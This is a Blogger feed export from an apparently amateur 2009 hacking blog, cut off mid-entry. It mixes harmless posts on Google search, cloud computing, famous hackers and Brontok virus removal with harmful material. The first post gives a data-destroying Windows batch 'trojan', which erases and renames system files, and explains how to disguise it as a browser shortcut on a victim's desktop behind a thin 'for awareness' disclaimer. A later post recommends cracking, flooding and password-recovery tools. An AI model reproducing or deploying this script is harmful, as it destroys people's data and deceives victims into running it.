url="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEj04hLiUIf3zkeSyFd6Snn5RA9_XUkXKILsS-cG_fBxhefW-hez_Cy8fo6aGodh5d0CrSHg9qMvNZ2vDts1jzFRBh78CXj2-r2j4oMPjv5hv6e_FJsYhDQ12tISu4d5fQ21PgXqlauKu4pN/s72-c" height="72" width="72"/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-8918358182307276575.post-7045631885060119858</id><published>2009-11-05T22:19:00.000-08:00</published><updated>2009-11-05T22:21:09.738-08:00</updated><title type='text'>Simple trick can destroy PC.</title><content type='html'>This  post is only for learning . Beware to run anything It may harm seriously.&lt;br /&gt;
&lt;br /&gt;
This is a self deleting trojan, once it dose its job it will erase its self.&lt;br /&gt;
&lt;br /&gt;
copy and pase it in notepad and save it as  iexplore.Bat/firefox.bat&lt;br /&gt;
&lt;br /&gt;
then once its made put it on a disk or flash drive and put it on the desktop of the victom&#39;s computer. Right-click it and creat short cut. Change the name of the short cut(after deleting the orignal) to &quot;internet explorer&quot; &quot;firefox&quot; and right-click and click properties and click the shortcut tab. Click &quot;change icon...&quot; and find the &quot;internet explorer/firefox&quot; picture, click it and click apply on the bottom right. Delet the real I.E./Firefox And replace it with the virus.&lt;br /&gt;
&lt;br /&gt;
here is the code :&lt;br /&gt;
&lt;br /&gt;
@echo off &lt;br /&gt;
cd\ if exist c:\windows goto winslows if exist c:\dos goto do$ :poof erase * goto end_trojan :winblows cd\windows if exist system.Ini del system.Ini if exist win.Ini erase win.Ini ren *.Exe *.Vxe ren *.Dat *.Cat ren *.Sys *.Sex goto end_trojan :do$ cd\dos ren *.Com *.Kom ren *.Exe *.Com ren *.Kom *.Exe if exist c:\command.Com erase c:\command.Com :end_trojan erase ie/firefox.Bat&lt;br /&gt;
&lt;br /&gt;
I am again repeating don&#39;t try it. it&#39;s only for awareness .</content><link rel='replies' type='application/atom+xml' href='http://rsgehlot.blogspot.com/feeds/7045631885060119858/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://rsgehlot.blogspot.com/2009/11/simple-trick-can-destroy-pc.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8918358182307276575/posts/default/7045631885060119858'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8918358182307276575/posts/default/7045631885060119858'/><link rel='alternate' type='text/html' href='http://rsgehlot.blogspot.com/2009/11/simple-trick-can-destroy-pc.html' title='Simple trick can destroy PC.'/><author><name>Unknown</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='https://img1.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-8918358182307276575.post-2208975765500453111</id><published>2009-10-14T05:41:00.000-07:00</published><updated>2009-10-14T05:41:12.127-07:00</updated><title type='text'>Are you confused ,How does Google search engine works ???</title><content type='html'>Google runs on a distributed network of thousands of low-cost computers and can therefore carry out fast parallel processing. Parallel processing is a method of computation in which many calculations can be performed simultaneously, significantly speeding up data processing. Google has three distinct parts:&lt;br /&gt;
&lt;br /&gt;
 Googlebot, a web crawler that finds and fetches web pages.&lt;br /&gt;
The indexer that sorts every word on every page and stores the resulting index of words in a huge database.&lt;br /&gt;
The query processor, which compares your search query to the index and recommends the documents that it considers most relevant.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Googlebot A Google’s Web Crawler&lt;br /&gt;
Googlebot is Google’s web crawling robot, which finds and retrieves pages on the web and hands them off to the Google indexer. It’s easy to imagine Googlebot as a little spider scurrying across the strands of cyberspace, but in reality Googlebot doesn’t traverse the web at all. It functions much like your web browser, by sending a request to a web server for a web page, downloading the entire page, then handing it off to Google’s indexer.&lt;br /&gt;
&lt;br /&gt;
Googlebot consists of many computers requesting and fetching pages much more quickly than you can with your web browser. In fact, Googlebot can request thousands of different pages simultaneously. To avoid overwhelming web servers, or crowding out requests from human users, Googlebot deliberately makes requests of each individual web server more slowly than it’s capable of doing.&lt;br /&gt;
&lt;br /&gt;
I. Googlebot finds pages in two ways: through an add URL form, www.google.com/addurl.html, and through finding links by crawling the web.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Unfortunately, spammers figured out how to create automated bots that bombarded the add URL form with millions of URLs pointing to commercial propaganda. Google rejects those URLs submitted through its Add URL form that it suspects are trying to deceive users by employing tactics such as including hidden text or links on a page, stuffing a page with irrelevant words, cloaking (aka bait and switch), using sneaky redirects, creating doorways, domains, or sub-domains with substantially similar content, sending automated queries to Google, and linking to bad neighbors. So now the Add URL form also has a test: it displays some squiggly letters designed to fool automated “letter-guessers”; it asks you to enter the letters you see — something like an eye-chart test to stop spambots.&lt;br /&gt;
&lt;br /&gt;
When Googlebot fetches a page, it culls all the links appearing on the page and adds them to a queue for subsequent crawling. Googlebot tends to encounter little spam because most web authors link only to what they believe are high-quality pages. By harvesting links from every page it encounters, Googlebot can quickly build a list of links that can cover broad reaches of the web. This technique, known as deep crawling, also allows Googlebot to probe deep within individual sites. Because of their massive scale, deep crawls can reach almost every page in the web. Because the web is vast, this can take some time, so some pages may be crawled only once a month.&lt;br /&gt;
&lt;br /&gt;
Although its function is simple, Googlebot must be programmed to handle several challenges. First, since Googlebot sends out simultaneous requests for thousands of pages, the queue of “visit soon” URLs must be constantly examined and compared with URLs already in Google’s index. Duplicates in the queue must be eliminated to prevent Googlebot from fetching the same page again. Googlebot must determine how often to revisit a page. On the one hand, it’s a waste of resources to re-index an unchanged page. On the other hand, Google wants to re-index changed pages to deliver up-to-date results.&lt;br /&gt;
&lt;br /&gt;
To keep the index current, Google continuously recrawls popular frequently changing web pages at a rate roughly proportional to how often the pages change. Such crawls keep an index current and are known as fresh crawls. Newspaper pages are downloaded daily, pages with stock quotes are downloaded much more frequently. Of course, fresh crawls return fewer pages than the deep crawl. The combination of the two types of crawls allows Google to both make efficient use of its resources and keep its index reasonably current.&lt;br /&gt;
&lt;br /&gt;
II. Google’s Indexer :&lt;br /&gt;
&lt;br /&gt;
Googlebot gives the indexer the full text of the pages it finds. These pages are stored in Google’s index database. This index is sorted alphabetically by search term, with each index entry storing a list of documents in which the term appears and the location within the text where it occurs. This data structure allows rapid access to documents that contain user query terms.&lt;br /&gt;
&lt;br /&gt;
To improve search performance, Google ignores (doesn’t index) common words called stop words (such as the, is, on, or, of, how, why, as well as certain single digits and single letters). Stop words are so common that they do little to narrow a search, and therefore they can safely be discarded. The indexer also ignores some punctuation and multiple spaces, as well as converting all letters to lowercase, to improve Google’s performance.&lt;br /&gt;
&lt;br /&gt;
III. Google’s Query Processor : &lt;br /&gt;
The query processor has several parts, including the user interface (search box), the “engine” that evaluates queries and matches them to relevant documents, and the results formatter.&lt;br /&gt;
&lt;br /&gt;
PageRank is Google’s system for ranking web pages. A page with a higher PageRank is deemed more important and is more likely to be listed above a page with a lower PageRank.&lt;br /&gt;
&lt;br /&gt;
Google considers over a hundred factors in computing a PageRank and determining which documents are most relevant to a query, including the popularity of the page, the position and size of the search terms within the page, and the proximity of the search terms to one another on the page. A patent application discusses other factors that Google considers when ranking a page. Visit SEOmoz.org’s report for an interpretation of the concepts and the practical applications contained in Google’s patent application.&lt;br /&gt;
&lt;br /&gt;
Google also applies machine-learning techniques to improve its performance automatically by learning relationships and associations within the stored data. For example, the spelling-correcting system uses such techniques to figure out likely alternative spellings. Google closely guards the formulas it uses to calculate relevance; they’re tweaked to improve quality and performance, and to outwit the latest devious techniques used by spammers.&lt;br /&gt;
&lt;br /&gt;
Indexing the full text of the web allows Google to go beyond simply matching single search terms. Google gives more priority to pages that have search terms near each other and in the same order as the query. Google can also match multi-word phrases and sentences. Since Google indexes HTML code in addition to the text on the page, users can restrict searches on the basis of where query words appear, e.g., in the title, in the URL, in the body, and in links to the page, options offered by Google’s Advanced Search Form and Using Search Operators (Advanced Operators).</content><link rel='replies' type='application/atom+xml' href='http://rsgehlot.blogspot.com/feeds/2208975765500453111/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://rsgehlot.blogspot.com/2009/10/are-you-confused-how-does-google-search.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8918358182307276575/posts/default/2208975765500453111'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8918358182307276575/posts/default/2208975765500453111'/><link rel='alternate' type='text/html' href='http://rsgehlot.blogspot.com/2009/10/are-you-confused-how-does-google-search.html' title='Are you confused ,How does Google search engine works ???'/><author><name>Unknown</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='https://img1.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-8918358182307276575.post-1147567000087180826</id><published>2009-10-07T22:41:00.000-07:00</published><updated>2009-10-07T22:45:04.023-07:00</updated><title type='text'>Cloud Computing  - MIT Technology Review Magazine.</title><content type='html'>In the last two years cloud computing as a service offering has gained quick momentum in India. While the big players such as Amazon, Microsoft, Sun Microsystems, Google, and IBM are in the lead, many private companies are ready to mushroom to grab the market share. Netmagic Solutions, a private organization and hosting partner for Sun Microsystems, is one of them. &lt;br /&gt;
&lt;br /&gt;
Every company irrespective of its size or categorization can benefit from cloud computing. The technology is suitable for large enterprises, mid-sized Internet service companies, small and medium businesses(SMBs) as well as traditional enterprises in verticals such as banking, financial services and insurance (BFSI), and manufacturing. Based on the nature of its operations and size, every company has different cloud computing requirements. Currently cloud computing technology is being touted as a service that can offer distinct commercial and operational advantages &lt;br /&gt;
&lt;br /&gt;
“The opportunity in India is big and cloud is still in the early stages of adoption. We have a great opportunity to work with other vendors to help accelerate the process of developers, startups, enterprises and service providers leveraging the cloud. There is room for many vendors to be successful,” says Sanjay Sharma, Worldwide Director, market development for cloud computing, Sun Microsystems. “Sun has been working with a number of hosting partners such as Joyent and Netmagic that leverage Sun technology for their own cloud-based offerings. With the Sun open cloud platform in India, we will be able to offer even more value to our hosting providers that want to deliver clouds,” says Sharma.&lt;br /&gt;
&lt;br /&gt;
Net magic is one of the very few private companies to offer cloud computing ser vices in India. It engages customers across various verticals through services that are tailored to meet their requirements as its services are vertical agnostic and can be deployed for varied applications and OS platforms. Sharad Sanghi, Managing Director and CEO, Netmagic Solutions, says, “Netmagic has a large and powerful pool of infrastructure that is ‘abstracted’ or ‘virtualized’ for various customers. This allows our customers to scale their infrastructure rapidly by provisioning servers in near real-time and using them only for the duration required without the disadvantage of long-term contracts. Customers can scale elements like CPU, memory, disk, and bandwidth literally on the basis of a few clicks. There are added elements like firewall, lad balancers, LAMP servers, and many other managed services that customers will be able to start and stop whenever they wish, through a secure user panel.” &lt;br /&gt;
&lt;br /&gt;
Some of the key services Netmagic offers:&lt;br /&gt;
Cloud Serve provides disposable server resources to customers. Servers can be configured and reconfigured on an on-demand basis, depending on varying business needs. The service is ideal for hosting business applications for SMBs.&lt;br /&gt;
Cloud Net service provides customers with the ability to create a complete IT infrastructure including servers (web/database/ application), firewalls, load balancers, and switches by deploying ready-to-deploy cloud appliances. The service is also called Infrastructure Computing for the Enterprise (ICE). Netmagic proclaims it will address the needs of mid-size Internet companies for hosting portals, and data recovery and testing needs of traditional enterprises.&lt;br /&gt;
Private Cloud addresses large Internet companies and enterprises application requirements. PrivateCloud is a dedicated cloud infrastructure for large individual enterprise requirements. Netmagic provides hardware and managed virtualization platform to its customers so they can run virtual applications without worrying about ITresources. It also provides a console to allow customers to create various applications and upgrade or downgrade resources on the cloud instantly as per their requirements.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Compared with offerings of private companies such as Netmagic, the big players have the advantage of vast technology base, infrastructure, capital, and resources. Sun Microsystems, for example, intends to bring best practices from its open source technology to cloud computing. It has opened its cloud API for public review and comment. Currently, Sun offers consulting services to partners, developers, startups, and enterprise customers that want to build their own private clouds to achieve significant cost savings and added flexibility. Besides consultation, Sun customers also get the best in Sun’s world-class open source technologies such as OpenStorage, MySQL, OpenSolaris, and Java as well as the Sun xVM virtualization portfolio, identity management, and Web 2.0 programming platform tools and industry-leading servers to build their own clouds.&lt;br /&gt;
&lt;br /&gt;
“With its open source roots, a lot of relevant technology and the vision of ‘network is the computer’ Sun brings a lot of value to customers in the cloud market. With our expertise in data center and virtualization services, we can effectively partner with customers to help define and implement their cloud strategy,” says Sharma.&lt;br /&gt;
&lt;br /&gt;
In 2008, IBM too opened its cloud computing center in Bangalore to focus on helping local customers understand and implement cloud computing solutions. “The technologies on which cloud is based are technologies that IBM invented or lead in today – like virtualization, automation, open standards, and Web-based computing. IBM started delivering remote services to mainframes in 1968 so we’ve got a pretty extensive resume and have been building our arsenal in preparation of this new computing model for decades,” says Dr. Nataraj Nagaratnam, CTO, IBM India Software Labs.&lt;br /&gt;
&lt;br /&gt;
However, in competition with big players Netmagic has spent 25 man months in developing cloud computing services and it is confident on the robustness of its infrastructure, managed services support and its ability to offer entire IT infrastructure in a cloud. While it refrains from indicating the exact price of its services, it says through its services its customers will be able to cut costs by at least 20-25 percent.&lt;br /&gt;
&lt;br /&gt;
Currently, most cloud computing service providers in India are not willing to share information on what they are going to charge their customers. Dr. Nagaratnam of IBM says, “While the cost of consuming the ‘software as a service’ application from IBM is on a ‘pay per use’ model, the cost incurred by customers building private cloud for either internal uses or as a service provider would be subject to the individual requirements and size of the solution. A one size fits all approach will not resonate with enterprise clients that almost always have heterogeneous platforms.”&lt;br /&gt;
&lt;br /&gt;
Considering the security issues around cloud computing services, Netmagic believes there’s nothing to worry about. “Enterprises will have to remain cautious in adopting cloud computing services in critical areas due to concerns about the maturity of offering, customization, and integration needs in addition to security issues and the extent of control over operations. Some of these security concerns are misplaced as the cloud platforms that are being deployed are secure platforms. Netmagic does continuous capacity upgrade and also has policies that ensure that individual customer utilization does not impact other customers so that each customer enjoys a dedicated resource experience,” says Sanghi. &lt;br /&gt;
&lt;br /&gt;
Adding to this, Dr. Nagaratnam feels “It’s important to distinguish between public and private clouds. Private clouds are the behind the firewall already, so we have a great deal of control over security. As for public clouds, it is important to remember that like the Web they may never be completely secure and there are certain degrees of tolerance based on workload.”&lt;br /&gt;
&lt;br /&gt;
Since cloud computing in India is an emerging technology platform, more and more companies such as Wipro, Yahoo, and TCS are foraying into the field. In this situation, both big and small companies, such as IBM and Netmagic respectively, face competition from global players like HP, Cisco, Oracle/Sun in some of its offerings associated with cloud solutions (such as software/ hardware bundling) and from local players like Infosys, Wipro, TCS, HCL in areas of system integration and consultancy, that is, helping end customers build private clouds.&lt;br /&gt;
&lt;br /&gt;
The competition is going to be tougher for latecomers.</content><link rel='replies' type='application/atom+xml' href='http://rsgehlot.blogspot.com/feeds/1147567000087180826/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://rsgehlot.blogspot.com/2009/10/cloud-computing-mit-technology-review.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8918358182307276575/posts/default/1147567000087180826'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8918358182307276575/posts/default/1147567000087180826'/><link rel='alternate' type='text/html' href='http://rsgehlot.blogspot.com/2009/10/cloud-computing-mit-technology-review.html' title='Cloud Computing  - MIT Technology Review Magazine.'/><author><name>Unknown</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='https://img1.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-8918358182307276575.post-5607488506712311539</id><published>2009-10-01T02:12:00.001-07:00</published><updated>2009-10-01T02:12:28.171-07:00</updated><title type='text'>My Favourite top 10 hacks of all time.</title><content type='html'>Here is a list off the top 10 hacks of all time. &lt;br /&gt;
Early 1990s&lt;br /&gt;
&lt;br /&gt;
Kevin Mitnick, often incorrectly called by many as god of hackers, broke into the computer systems of the world&#39;s top technology and telecommunications companies Nokia, Fujitsu, Motorola, and Sun Microsystems. He was arrested by the FBI in 1995, but later released on parole in 2000. He never termed his activity hacking, instead he called it social engineering. &lt;br /&gt;
November 2002&lt;br /&gt;
&lt;br /&gt;
Englishman Gary McKinnon was arrested in November 2002 following an accusation that he hacked into more than 90 US military computer systems in the UK. He is currently undergoing trial in a British court for a &quot;fast-track extradition&quot; to the US where he is a wanted man. The next hearing in the case is slated for today. &lt;br /&gt;
1995&lt;br /&gt;
&lt;br /&gt;
Russian computer geek Vladimir Levin effected what can easily be called The Italian Job online - he was the first person to hack into a bank to extract money. Early 1995, he hacked into Citibank and robbed $10 million. Interpol arrested him in the UK in 1995, after he had transferred money to his accounts in the US, Finland, Holland, Germany and Israel. &lt;br /&gt;
1990&lt;br /&gt;
&lt;br /&gt;
When a Los Angeles area radio station announced a contest that awarded a Porsche 944S2 for the 102nd caller, Kevin Poulsen took control of the entire city&#39;s telephone network, ensured he is the 102nd caller, and took away the Porsche beauty. He was arrested later that year and sentenced to three years in prison. He is currently a senior editor at Wired News. &lt;br /&gt;
1983&lt;br /&gt;
&lt;br /&gt;
Kevin Poulsen again. A little-known incident when Poulsen, then just a student, hacked into Arpanet, the precursor to the Internet was hacked into. Arpanet was a global network of computers, and Poulsen took advantage of a loophole in its architecture to gain temporary control of the US-wide network. &lt;br /&gt;
1996&lt;br /&gt;
&lt;br /&gt;
US hacker Timothy Lloyd planted six lines of malicious software code in the computer network of Omega Engineering which was a prime supplier of components for NASA and the US Navy. The code allowed a &quot;logic bomb&quot; to explode that deleted software running Omega&#39;s manufacturing operations. Omega lost $10 million due to the attack. &lt;br /&gt;
1988&lt;br /&gt;
&lt;br /&gt;
Twenty-three-year-old Cornell University graduate Robert Morris unleashed the first Internet worm on to the world. Morris released 99 lines of code to the internet as an experiment, but realised that his program infected machines as it went along. Computers crashed across the US and elsewhere. He was arrested and sentenced in 1990. &lt;br /&gt;
1999&lt;br /&gt;
&lt;br /&gt;
The Melissa virus was the first of its kind to wreak damage on a global scale. Written by David Smith (then 30), Melissa spread to more than 300 companies across the world completely destroying their computer networks. Damages reported amounted to nearly $400 million. Smith was arrested and sentenced to five years in prison. &lt;br /&gt;
2000&lt;br /&gt;
&lt;br /&gt;
MafiaBoy, whose real identity has been kept under wraps because he is a minor, hacked into some of the largest sites in the world, including eBay, Amazon and Yahoo between February 6 and Valentine&#39;s Day in 2000. He gained access to 75 computers in 52 networks, and ordered a Denial of Service attack on them. He was arrested in 2000. &lt;br /&gt;
1993&lt;br /&gt;
&lt;br /&gt;
They called themselves Masters of Deception, targeting US phone systems. The group hacked into the National Security Agency, AT&amp;T, and Bank of America. It created a system that let them bypass long-distance phone call systems, and gain access to the pbx of major carriers.</content><link rel='replies' type='application/atom+xml' href='http://rsgehlot.blogspot.com/feeds/5607488506712311539/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://rsgehlot.blogspot.com/2009/10/my-favourite-top-10-hacks-of-all-time.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8918358182307276575/posts/default/5607488506712311539'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8918358182307276575/posts/default/5607488506712311539'/><link rel='alternate' type='text/html' href='http://rsgehlot.blogspot.com/2009/10/my-favourite-top-10-hacks-of-all-time.html' title='My Favourite top 10 hacks of all time.'/><author><name>Unknown</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='https://img1.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-8918358182307276575.post-749201729591320571</id><published>2009-09-23T07:59:00.001-07:00</published><updated>2009-09-23T08:02:08.607-07:00</updated><title type='text'>India-Pak cyber war has began. Now we Indian need  to maintain the standard</title><content type='html'>India and Pakistan are fighting a silent war in cyberspace. In the last couple of months, hacker groups from the two countries have defaced each other&#39;s websites, sent trojans (viruses) to government-operated &#39;safe&#39; networks, and planted spyware in the bureaucracy&#39;s email servers. To top it all, they have been constantly seeking assistance from neutral global groups to join their respective &quot;team&quot;.&lt;br /&gt;
&lt;br /&gt;
According to sources within the hacking community, conflict on the Indo-Pak cyber front flared up when the website of Eastern Railway was hacked on December 24 by a Pakistani group. That was the time around which the India-Pakistan war rhetoric was reaching a crescendo. &quot;Cyber war has been declared on Indian cyberspace by Whackerz- Pakistan,&quot; a note posted on the hacked page of the railway website read. The group claimed that the site was hacked in response to the alleged violation of Pakistani airspace by the Indian Air Force.&lt;br /&gt;
&lt;br /&gt;
This hacking incident followed a similar defacement of the website of the Criminal Investigation Department (CID) of the Andhra Pradesh police, which had been compromised by Pakistani hackers soon after the 26/11 strikes.&lt;br /&gt;
&lt;br /&gt;
&quot;The hackers removed the &quot;most wanted&quot; list from the CID website and replaced it with messages threatening us -- their Indian cyber rivals. The website in question - www.cidap.gov.in-- is still down, supposedly closed for maintenance,&quot; a source in the Indian hacking community told DNA.&lt;br /&gt;
&lt;br /&gt;
Soon after the attacks, an Indian group -- Guards of Hindustan -- hacked into the website of the Oil and Gas Regularity Authority of Pakistan and posted their logo and the Indian national emblem on it. In retaliation, the Pakistan Cyber Army, hacked the websites of the Indian Institute of Remote Sensing, the Centre for Transportation Research and Management, the Army&#39;s Kendriya Vidyalaya of Ratlam and the Oil and Natural Gas Corporation (ONGC).</content><link rel='replies' type='application/atom+xml' href='http://rsgehlot.blogspot.com/feeds/749201729591320571/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://rsgehlot.blogspot.com/2009/09/india-pak-cyber-war-began-now-we-need.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8918358182307276575/posts/default/749201729591320571'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8918358182307276575/posts/default/749201729591320571'/><link rel='alternate' type='text/html' href='http://rsgehlot.blogspot.com/2009/09/india-pak-cyber-war-began-now-we-need.html' title='India-Pak cyber war has began. Now we Indian need  to maintain the standard'/><author><name>Unknown</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='https://img1.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-8918358182307276575.post-8839740325676648878</id><published>2009-09-23T07:49:00.000-07:00</published><updated>2009-09-23T07:49:51.799-07:00</updated><title type='text'>Top 3 hackers</title><content type='html'>1. Jonathan James&lt;br /&gt;
 He was sentenced at 16 years old. In an interview, he professes, &quot;I was just looking around, playing around. What was fun for me was a challenge to see what I could pull off.&quot;&lt;br /&gt;
&lt;br /&gt;
James&#39;s major intrusions targeted high-profile organizations. He installed a backdoor into a Defense Threat Reduction Agency server. The DTRA is an agency of the Department of Defense charged with reducing the threat to the U.S. and its allies from nuclear, biological, chemical, conventional and special weapons. The backdoor he created enabled him to view sensitive emails and capture employee usernames and passwords.&lt;br /&gt;
&lt;br /&gt;
James also cracked into NASA computers, stealing software worth approximately $1.7 million. According to the Department of Justice, &quot;The software supported the International Space Station&#39;s physical environment, including control of the temperature and humidity within the living space.&quot; NASA was forced to shut down its computer systems, ultimately racking up a $41,000 cost. &lt;br /&gt;
&lt;br /&gt;
However, he served six months in prison for violation of parole.&lt;br /&gt;
&lt;br /&gt;
2.Adrian Lamo&lt;br /&gt;
 lamo&#39;s claim to fame is his break-ins at major organizations like The New York Times and Microsoft. Dubbed the &quot;homeless hacker,&quot; he used Internet connections at Kinko&#39;s, coffee shops and libraries to do his intrusions.&lt;br /&gt;
&lt;br /&gt;
When he broke into The New York Times&#39; intranet, things got serious. He added himself to a list of experts and viewed personal information on contributors, including Social Security numbers. Lamo also hacked into The Times&#39; LexisNexis account to research high-profile subject matter.&lt;br /&gt;
&lt;br /&gt;
For his intrusion at The New York Times, Lamo was ordered to pay approximately $65,000 in restitution. He was also sentenced to six months of home confinement and two years of probation, which expired January 16, 2007. Lamo is currently working as an award-winning journalist and public speaker.&lt;br /&gt;
&lt;br /&gt;
3.Robert Tappan Morris: &lt;br /&gt;
 Morris, son of former National Security Agency scientist Robert Morris, is known as the creator of the Morris Worm, the first computer worm to be unleashed on the Internet. As a result of this crime, he was the first person prosecuted under the 1986 Computer Fraud and Abuse Act.&lt;br /&gt;
&lt;br /&gt;
Morris wrote the code for the worm while he was a student at Cornell. He asserts that he intended to use it to see how large the Internet was. The worm, however, replicated itself excessively, slowing computers down so that they were no longer usable. It is not possible to know exactly how many computers were affected, but experts estimate an impact of 6,000 machines. He was sentenced to three years&#39; probation, 400 hours of community service and a fined $10,500.</content><link rel='replies' type='application/atom+xml' href='http://rsgehlot.blogspot.com/feeds/8839740325676648878/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://rsgehlot.blogspot.com/2009/09/top-3-hackers.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8918358182307276575/posts/default/8839740325676648878'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8918358182307276575/posts/default/8839740325676648878'/><link rel='alternate' type='text/html' href='http://rsgehlot.blogspot.com/2009/09/top-3-hackers.html' title='Top 3 hackers'/><author><name>Unknown</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='https://img1.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-8918358182307276575.post-1462522655405426347</id><published>2009-09-23T00:42:00.000-07:00</published><updated>2009-09-23T00:42:37.382-07:00</updated><title type='text'>Completely remove  Brontok Virus Urself</title><content type='html'>Start ur computer in safe mode with command prompt and type the followinf command to enable registry editor:-&lt;br /&gt;
&lt;br /&gt;
reg delete HKCU\software\microsoft\windows\currentversion\policies\system /v &quot;DisableRegistryTools&quot;&lt;br /&gt;
and run HKLM\software\microsoft\windows\currentversion\policies\system /v &quot;DisableRegistryTools&quot;&lt;br /&gt;
&lt;br /&gt;
after this ur registry editor is enable&lt;br /&gt;
type explorer&lt;br /&gt;
go to run and type regedit&lt;br /&gt;
then follow the following path :-&lt;br /&gt;
HKLM\Software\Microsoft\Windows\Currentversion\Run&lt;br /&gt;
&lt;br /&gt;
on the right side delete the entries which contain &#39;Brontok&#39; and &#39;Tok-&#39; words.&lt;br /&gt;
&lt;br /&gt;
after that restart ur system&lt;br /&gt;
open registry editor and follow the path to enable folder option in tools menu&lt;br /&gt;
&lt;br /&gt;
HKCU\Software\Microsoft\Windows\Currentversion\Policies\Explorer\ &#39;NoFolderOption&#39;&lt;br /&gt;
delete this entry and restart ur computer&lt;br /&gt;
&lt;br /&gt;
and search *.exe files in all drives (search in hidden files also)&lt;br /&gt;
remove all files which are display likes as folder icon.&lt;br /&gt;
&lt;br /&gt;
ur computer is completely free from virus brontok.</content><link rel='replies' type='application/atom+xml' href='http://rsgehlot.blogspot.com/feeds/1462522655405426347/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://rsgehlot.blogspot.com/2009/09/completely-remove-brontok-virus-urself.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8918358182307276575/posts/default/1462522655405426347'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8918358182307276575/posts/default/1462522655405426347'/><link rel='alternate' type='text/html' href='http://rsgehlot.blogspot.com/2009/09/completely-remove-brontok-virus-urself.html' title='Completely remove  Brontok Virus Urself'/><author><name>Unknown</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='https://img1.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-8918358182307276575.post-5617692658534707487</id><published>2009-09-23T00:21:00.000-07:00</published><updated>2009-09-23T00:21:39.566-07:00</updated><title type='text'>Hack &amp; Crack tools</title><content type='html'>Tools of the trade&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
These are some tools that are extremely useful, But remember i am providing the knowledge and how you use them is up to you. Also if you don&#39;t know how to you these you should decently do some research, There is no tool that will just Hack for you, find exploits on your own is half the fun. these tools if not used properly can get you n a lot of trouble.&lt;br /&gt;
› Tools of the trade.&lt;br /&gt;
&lt;br /&gt;
DeCSS 1.2b is used as a cracking tool, is highly engineered software that has been designed in order to modify the other software with an intention to remove the usage restriction. A worth mentioning instance is a &quot;patch generator&quot;, which replaces bytes at specific location of a file, giving it a licensed version. The DeCSS 1.2b was originated in the year 1999, October and requires storage of minimum 253 KB. Coldlife 4.0is another tool for website hacking that falls in the category of flooder. This is a program that has been designed to overload the connection by certain mechanisms like a fast pinging that causes a sudden DoS attack.&lt;br /&gt;
&lt;br /&gt;
# Cain and Able The top password recovery tool for Windows UNIX users often smugly assert that the best free security tools support their platform first, and Windows ports are often an afterthought. They are usually right, but Cain &amp; Abel is a glaring exception. This Windows-only password recovery tool handles an enormous variety of tasks. It can recover passwords by sniffing the network, cracking encrypted passwords using Dictionary, Brute-Force and Cryptanalysis attacks, recording VoIP conversations, decoding scrambled passwords, revealing password boxes, uncovering cached passwords and analyzing routing protocols.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
# Wireshark : Sniffing the glue that holds the Internet together&lt;br /&gt;
